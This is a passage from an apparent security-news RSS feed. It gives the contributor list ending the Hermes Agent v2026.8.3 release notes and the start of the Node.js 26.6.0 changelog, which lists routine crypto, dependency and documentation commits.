<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dombejar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dombejar">@dombejar</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doncazper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doncazper">@doncazper</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dongjiang1989/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dongjiang1989">@dongjiang1989</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DonutsDelivery/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DonutsDelivery">@DonutsDelivery</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dorukardahan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dorukardahan">@dorukardahan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Doud-FR/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Doud-FR">@Doud-FR</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drafish/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drafish">@drafish</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drleadflow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drleadflow">@drleadflow</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dsitmilis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dsitmilis">@dsitmilis</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dskwe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dskwe">@dskwe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dso2ng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dso2ng">@dso2ng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dstkwll/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dstkwll">@dstkwll</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dyreckt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dyreckt">@dyreckt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eagle-nyp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eagle-nyp">@eagle-nyp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Eapwrk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Eapwrk">@Eapwrk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eason2026/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eason2026">@eason2026</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eazye19/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eazye19">@eazye19</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/egilewski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/egilewski">@egilewski</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ehz0ah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ehz0ah">@ehz0ah</a>, @elcocoel, @eliemada, @eloklam, @elphamale, @embwl0x, @emozilla, @Enough1122,<br>
@enzo2, @erick713006, @ErnestHysa, @Esther-Zhu023, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, @evgyur, @f-trycua, @faikwo, @falkoro,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fangliquanflq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fangliquanflq">@fangliquanflq</a>, @fazerluga-creator, @fcavalcantirj, @ferminquant, @fesalfayed, @FixItFoundry, @flag0x369,<br>
@floatingrain, @FlorianVal, @flyingdoubleG, @FraserHum, @frizikk, @frohsinnllc, @Frowtek, @FvanW, @fyzanshaik,<br>
@ganzziani, @gercamjr, @giggling-ginger, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gigi206/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gigi206">@gigi206</a>, @giladbau, @glesperance, @gnanam1990, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>, @golldyck,<br>
@gonzalofrancoceballos, @gshall, @gumclaw, @Guoen0, @Gurud25, @gvago, @HaisamAbbas, @hansai-art, @hanyu1212,<br>
@happy5318, @haran2001, @hariNEzuMI928, @harjothkhara, @harrisonmedmedmetrics, @Harshkamdar67, @hdd69,<br>
@heathley, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, @HeLLGURD, @hellofrommorgan, @hereicq, @hermz580, @HexLab98, @hinablue, @HOYALIM, @hrnbld,<br>
@huntsyea, @iamwongeeeee, @ianks, @ibaldr89, @Icather, @ijevin, @ildunari, @Imgaojp, @imgyf, @immuhammadfurqan,<br>
@iniak, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iRonin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iRonin">@iRonin</a>, @isheng-eqi, @iso2kx, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/israellot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/israellot">@israellot</a>, @itsflownium, @IvanMiao, @iveywest, @izumi0uu, @Jaaneek,<br>
@JabberELF, @jackjin1997, @jakelongvu-bot, @Janig88, @jasoisjaso, @jbbottoms, @jeeaay, @jeeves-assistant,<br>
@jeff-mettel, @JeffStone69, @JeliTron, @jethac, @jfmusa2024-cyber, @Jiahui-Gu, @jinglun010-cpu, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>,<br>
@joelbrilliant, @John-Lussier, @johnkattenhorn, @Johnny-xuan, @johnnykor82, @joncaldwell90, @JonthanaHanh,<br>
@jordanhubbard, @JorkeyLiu, @jquesnelle, @jrfbch, @juanmartitegui, @Julientalbot, @juniperbevensee, @justemu,<br>
@kael-odin, @kaishi00, @kaiyisg, @kamonspecial, @kandotrun, @KCAYAAI, @keepConcentration, @kelsia14, @Kenmege,<br>
@kerpopule, @Kev-fs, @Kewe63, @kharitonov-ivan, @Kingdomwarrior23, @kingrubic, @Kinkoolino-Hermes, @kjames2001,<br>
@knoal, @kohoj, @Kolektori, @konsisumer, @koshaji, @kronexoi, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kudi88, @kylezh,<br>
@kyssta-exe, @Kyzcreig, @lanyusea, @LauraGPT, @LavyaTandel, @LeonSGP43, @leoprodz, @LevSky22, @lEWFkRAD,<br>
@lewis4x4, @lexgenius, @LFDMcore, @LiangYang666, @lidises, @light-merlin-dark, @lihengming, @Linux2010,<br>
@LionGateOS, @liuhao1024, @liusencomic-cyber, @ljsdut, @lkevincc0, @LLQWQ, @locker95, @logical-and,<br>
@LordNikon1983, @lost9999, @Love-JourneY, @LunarNexus, @luxiaolu4827, @lxman, @m4r13y, @MaartenDMT,<br>
@MacroAnarchy, @maff-t2b, @MahdiHedhli, @mahdiwafy, @malaiwah, @mannnrachman, @mapu-og, @markoub, @matarbot,<br>
@materemias, @matt-strawbridge, @mattezell, @MattMaximo, @mattmillerai, @mattshapsss, @MaxFreedomPollard,<br>
@maxmilian, @McHermes, @mehmetkr-31, @menhguin, @metamon-p, @mijanx, @MLcogTech, @moeadham, @mollusk,<br>
@monerostar, @MorAlekss, @morolab, @motoblurr, @MrAbsaroka, @mrzlab630, @ms-alan, @muctobi, @MustafaK99,<br>
@mwbrooks, @myk0la-b, @mzkarami, @namredips, @nanami7777777, @nanckh, @natebransc, @nateEc, @navahc09,<br>
@Ne0teric, @necoweb3, @nftpoetrist, @nickkarhan, @Ninso112, @nkreadly07, @nnnet, @NPFernando, @nrmjeremy,<br>
@nu476, @null-runner, @nullptr0807, @NYTEMODEONLY, @obelisk-complex, @OfficialDelta, @okalentiev,<br>
@oliviaaaa7788, @OmarB97, @omid3098, @ooiuuii, @oppenheimor, @oreoluwa, @ousiaresearch, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>,<br>
@panDing19, @paralegalia, @patp, @PavelTajdus, @peacockesq, @Pebrd, @peterw, @phantom-instruction-set,<br>
@pierrenode, @PINKIIILQWQ, @piyushbag, @plainOldCode, @pnascimento9596, @pooyan6, @pprism13, @praneshnikhar,<br>
@PRATHAMESH75, @Prontsevich, @quantumbyte1617, @QuarkAssistant, @Que0x, @Qwinty, @rayjerrywoo, @rayjun,<br>
@Reaper-Forge, @RedClaus, @redsol-llc, @reinbeumer, @RelaxJonh, @RemyFevry, @replygirl, @rerdi92, @rhylryan21,<br>
@RichardHojunJang, @richkapp, @rkfshakti, @rlaope, @rob-coco, @rob-maron, @robbyczgw-cla, @robgfl45,<br>
@robzolkos, @rod-nxtlevel, @rodboev, @Roger--Han, @rsayar, @rudironsoni, @ruizanthony, @rungmc357, @s00rz,<br>
@s905060, @Sahil-SS9, @sakhnenkoff, @salimhamed, @samrusani, @sbe27, @ScaleLeanChris, @schattenan, @sealca,<br>
@seamusmore, @sebaorrego-koronet, @seppegadeyne, @sergioperezcheco, @sethmills21, @sg-shag, @sgtworkman,<br>
@shady2k, @shannonsands, @shellybotmoyer, @sherman-yang, @shivasymbl, @Shizoqua, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @simonmmafs,<br>
@skyer-flyyy, @Skywind5487, @sl4m3, @Slopez2023, @SmallNew2003, @smfworks, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Soju06/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Soju06">@Soju06</a>, @Solitud1nem,<br>
@solyanviktor-star, @somewheresy, @Sora-bluesky, @sowork-skills, @soynchux, @sparkeros, @spfcraze,<br>
@spiky02plateau, @spro-work, @SquabbyZ, @srojk34, @StanleyStetson, @StartupBros-com, @StellarisW,<br>
@stephenschoettler, @Stoltemberg, @stremtec, @Studio729, @stwith, @subhoya, @sunwz1115, @suparious,<br>
@supplefrog, @sycamoregroupltd, @szzhoujiarui, @tachyon-r, @Tamaz-sujashvili, @tandixit95, @tank321, @tavva,<br>
@tcconnally, @temalo, @th3wingman, @the3asic, @TheAngryPit, @TheEpTic, @theone139344, @TheSmokeDev,<br>
@thirstycrow, @tianma-if, @Tianworld, @tinetwork, @to-na, @tom-channel, @tomqiaozc, @toomij99, @trac3r00,<br>
@Tranquil-Flow, @Trantor-develops, @trevorgordon981, @trevornk, @trippyogi, @trymhaak, @tsuk1nose, @tusharui,<br>
@TutkuEroglu, @tw0316, @twe-cloud, @tymrtn, @UltraInstinct0x, @umi008, @unixwzrd, @upicat, @vaibhavjnf, @valda,<br>
@Vansh5632, @Variable85, @vb3, @VerbalChainsaw, @vexclawx31, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/victor-kyriazakos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/victor-kyriazakos">@victor-kyriazakos</a>, @vigilancetech-com,<br>
@virtuadex, @Vissirexa, @VittoriaLanzo, @VIVAAN-DHAWAN, @wangyunyou, @waroffchange, @wayne1992127, @web3blind,<br>
@webtecnica, @WeiYusc, @wen0531, @wernerhp, @wesleysimplicio, @westkite1201, @wgd753, @wgu9,<br>
@wjj1872744570-source, @wjq990112, @WojtekMR3, @WOLIKIMCHENG, @Wpnx330, @wreed4, @wuli666, @WXBR, @wz-heng,<br>
@x7peeps, @xcompass, @xd-Neji, @xenodmc, @Xipong, @xrazai, @Xue-1997, @xxxigm, @y0shua1ee, @yaleman,<br>
@yemi-lagosinternationalmarket, @ygd58, @yingliang-zhang, @yinkev, @yitang, @YLChen-007, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yoniebans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yoniebans">@yoniebans</a>,<br>
@youzi-1122, @ypwcharles, @yuexiongHNU, @yungchentang, @yuzilongleif-collab, @yyzquwu, @z23, @ZachariahChu,<br>
@zakhounet, @zapabob, @Zavianx, @zehuaw1, @zengzheqing, @Zeraphim, @zgzczzw, @zhangyang-crazy-one,<br>
@Zhekinmaksim, @Zioywishing, @zmlgit, @zombopanda, @ZundamonnoVRChatkaisetu<br>
Also: @kyssta-exe 25470058+kyssta-exe.</p>
<p>Thank you to every one of the 647 people who contributed code, co-authored fixes, filed the ~1,200 issues this release closes, and had their PRs salvaged into main. Hermes ships this fast because of you.</p>

<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.20...v2026.8.3">v2026.7.20...v2026.8.3</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: 2026-08-03, Version 26.6.0 (Current), @aduh95]]></title>
<description><![CDATA[Notable Changes

[5a36018abc] - doc: add MikeMcC399 as collaborator (Mike McCready) #64656
[9b04f82d7b] - (SEMVER-MINOR) ffi: add getCurrentEventLoop (Paolo Insogna) #64323
[bb51f2c960] - (SEMVER-MINOR) test_runner: add context.log() and test:log event (Moshe Atlow) #64389
[56ce83b3ee] - (SEMVER-...]]></description>
<link>https://tsecurity.de/de/3701498/downloads/github-2026-08-03-version-2660-current-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701498/downloads/github-2026-08-03-version-2660-current-aduh95/</guid>
<pubDate>Mon, 03 Aug 2026 20:21:51 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/5a36018abc"><code>5a36018abc</code></a>] - <strong>doc</strong>: add MikeMcC399 as collaborator (Mike McCready) <a href="https://github.com/nodejs/node/pull/64656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64656/hovercard">#64656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b04f82d7b"><code>9b04f82d7b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>ffi</strong>: add <code>getCurrentEventLoop</code> (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/64323" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64323/hovercard">#64323</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb51f2c960"><code>bb51f2c960</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: add <code>context.log()</code> and <code>test:log</code> event (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/64389" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64389/hovercard">#64389</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56ce83b3ee"><code>56ce83b3ee</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: report <code>entryFile</code> in <code>TestStream</code> events (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/64309" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64309/hovercard">#64309</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/248ff9fa5c"><code>248ff9fa5c</code></a>] - <strong>assert,util</strong>: fix TypeError on Maps with null keys (Paul Bouchon) <a href="https://github.com/nodejs/node/pull/64441" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64441/hovercard">#64441</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3b5baceafe"><code>3b5baceafe</code></a>] - <strong>benchmark</strong>: add bytes variant to webstreams async-iterator (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64291" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64291/hovercard">#64291</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0a46d1ef66"><code>0a46d1ef66</code></a>] - <strong>buffer</strong>: normalize lone "\r" in Blob native line endings (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/64115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64115/hovercard">#64115</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9ada18b70"><code>d9ada18b70</code></a>] - <strong>buffer</strong>: fix Blob.stream() leaking source buffer (semimikoh) <a href="https://github.com/nodejs/node/pull/63577" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63577/hovercard">#63577</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d05993bcf6"><code>d05993bcf6</code></a>] - <strong>build</strong>: merge multiple on download artifact (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64633" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64633/hovercard">#64633</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6c25ac909a"><code>6c25ac909a</code></a>] - <strong>build</strong>: extract temporal_capi crate directory name into gyp variable (René) <a href="https://github.com/nodejs/node/pull/64482" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64482/hovercard">#64482</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/612f60c300"><code>612f60c300</code></a>] - <strong>cli</strong>: style node --help output with util.styleText (Adrián Estrada) <a href="https://github.com/nodejs/node/pull/64484" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64484/hovercard">#64484</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/29a938ddbb"><code>29a938ddbb</code></a>] - <strong>crypto</strong>: preserve RSA-PSS legacy pubkey DER (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64547" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64547/hovercard">#64547</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2fde794357"><code>2fde794357</code></a>] - <strong>crypto</strong>: cleanse provider private key copies (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64547" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64547/hovercard">#64547</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/33a0e08d41"><code>33a0e08d41</code></a>] - <strong>crypto</strong>: handle incomplete RSA private keys (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64547" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64547/hovercard">#64547</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/11b4d505ef"><code>11b4d505ef</code></a>] - <strong>crypto</strong>: retain legacy DH validation (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64547" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64547/hovercard">#64547</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e302041e1"><code>6e302041e1</code></a>] - <strong>crypto</strong>: limit KangarooTwelveParams customization to 512 bytes (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64557" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64557/hovercard">#64557</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/195f103e87"><code>195f103e87</code></a>] - <strong>crypto</strong>: split OpenSSL 3, BoringSSL, and legacy backends (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64211" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64211/hovercard">#64211</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec67e24eee"><code>ec67e24eee</code></a>] - <strong>deps</strong>: update googletest to fa005b296f90faec4f352d7ab382287bf6548c8d (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64587" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64587/hovercard">#64587</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32ffff88fd"><code>32ffff88fd</code></a>] - <strong>deps</strong>: histogram: cherry-pick 62ea52b07ee9b195 (StefanStojanovic) <a href="https://github.com/nodejs/node/pull/64296" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64296/hovercard">#64296</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e0664f1f09"><code>e0664f1f09</code></a>] - <strong>deps</strong>: update histogram to 0.11.10 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64296" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64296/hovercard">#64296</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cf0622bdd6"><code>cf0622bdd6</code></a>] - <strong>deps</strong>: update amaro to 1.1.11 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64586" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64586/hovercard">#64586</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04c78b8b24"><code>04c78b8b24</code></a>] - <strong>deps</strong>: update timezone to 2026c (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64588" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64588/hovercard">#64588</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59f4318976"><code>59f4318976</code></a>] - <strong>deps</strong>: V8: cherry-pick 1158ae719749 (René) <a href="https://github.com/nodejs/node/pull/64432" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64432/hovercard">#64432</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e5ea7cd299"><code>e5ea7cd299</code></a>] - <strong>deps</strong>: update googletest to 8240fa7d62f73e01c7af27d61ed965d6d66698fa (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64439" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64439/hovercard">#64439</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0e7554cee4"><code>0e7554cee4</code></a>] - <strong>deps</strong>: update libffi to 3.7.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64438" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64438/hovercard">#64438</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46c9d724ad"><code>46c9d724ad</code></a>] - <strong>deps</strong>: update ngtcp2 to 1.24.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64297" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64297/hovercard">#64297</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3519aac9af"><code>3519aac9af</code></a>] - <strong>deps</strong>: enable OpenSSL asm support for riscv64 (Jamie Magee) <a href="https://github.com/nodejs/node/pull/62606" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62606/hovercard">#62606</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c09701218b"><code>c09701218b</code></a>] - <strong>deps</strong>: update c-ares to 1.34.8 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64330" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64330/hovercard">#64330</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ad2f3bc95b"><code>ad2f3bc95b</code></a>] - <strong>deps</strong>: upgrade npm to 11.18.0 (npm team) <a href="https://github.com/nodejs/node/pull/64199" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64199/hovercard">#64199</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d7a4b22c86"><code>d7a4b22c86</code></a>] - <strong>deps</strong>: V8: backport a05321ebd98e (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64202" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64202/hovercard">#64202</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8679cff291"><code>8679cff291</code></a>] - <strong>deps</strong>: update zlib to 1.3.2.1-motley-8b3aa8a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64295" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64295/hovercard">#64295</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df5b1e10ba"><code>df5b1e10ba</code></a>] - <strong>doc</strong>: remove unsupported syntax from <code>stream_iter.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64649/hovercard">#64649</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8a4ca9083f"><code>8a4ca9083f</code></a>] - <strong>doc</strong>: clarify rules for adding new built-in modules (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64648" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64648/hovercard">#64648</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d50fe6b7a"><code>7d50fe6b7a</code></a>] - <strong>doc</strong>: mention DEPENDENCY custom field for H1 reports (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/64634" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64634/hovercard">#64634</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8f415bf5fc"><code>8f415bf5fc</code></a>] - <strong>doc</strong>: fix dnsPromises.lookup verbatim default (Shivam S) <a href="https://github.com/nodejs/node/pull/64658" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64658/hovercard">#64658</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c6378f724d"><code>c6378f724d</code></a>] - <strong>doc</strong>: fix broken links and clean up type map (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64625" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64625/hovercard">#64625</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b53ec19a2"><code>9b53ec19a2</code></a>] - <strong>doc</strong>: fix typo in releases guide (Jihwan) <a href="https://github.com/nodejs/node/pull/64621" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64621/hovercard">#64621</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5a36018abc"><code>5a36018abc</code></a>] - <strong>doc</strong>: add MikeMcC399 as collaborator (Mike McCready) <a href="https://github.com/nodejs/node/pull/64656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64656/hovercard">#64656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d2c8acd764"><code>d2c8acd764</code></a>] - <strong>doc</strong>: use promote wording in release guide (Md Muhtasim Munif Fahim) <a href="https://github.com/nodejs/node/pull/64371" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64371/hovercard">#64371</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c692cb576"><code>5c692cb576</code></a>] - <strong>doc</strong>: fix import.meta example for vm.SourceTextModule (Muhammad Zeeshan) <a href="https://github.com/nodejs/node/pull/64112" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64112/hovercard">#64112</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7568ce71ca"><code>7568ce71ca</code></a>] - <strong>doc</strong>: mention crypto.hash() for better perf (Steven) <a href="https://github.com/nodejs/node/pull/63420" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63420/hovercard">#63420</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cf3f631936"><code>cf3f631936</code></a>] - <strong>doc</strong>: update sea example by fixing wrong code example (Maxence Robinet) <a href="https://github.com/nodejs/node/pull/64025" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64025/hovercard">#64025</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce21e567a4"><code>ce21e567a4</code></a>] - <strong>doc</strong>: fix socket.readyState state descriptions (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/64468" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64468/hovercard">#64468</a></li>
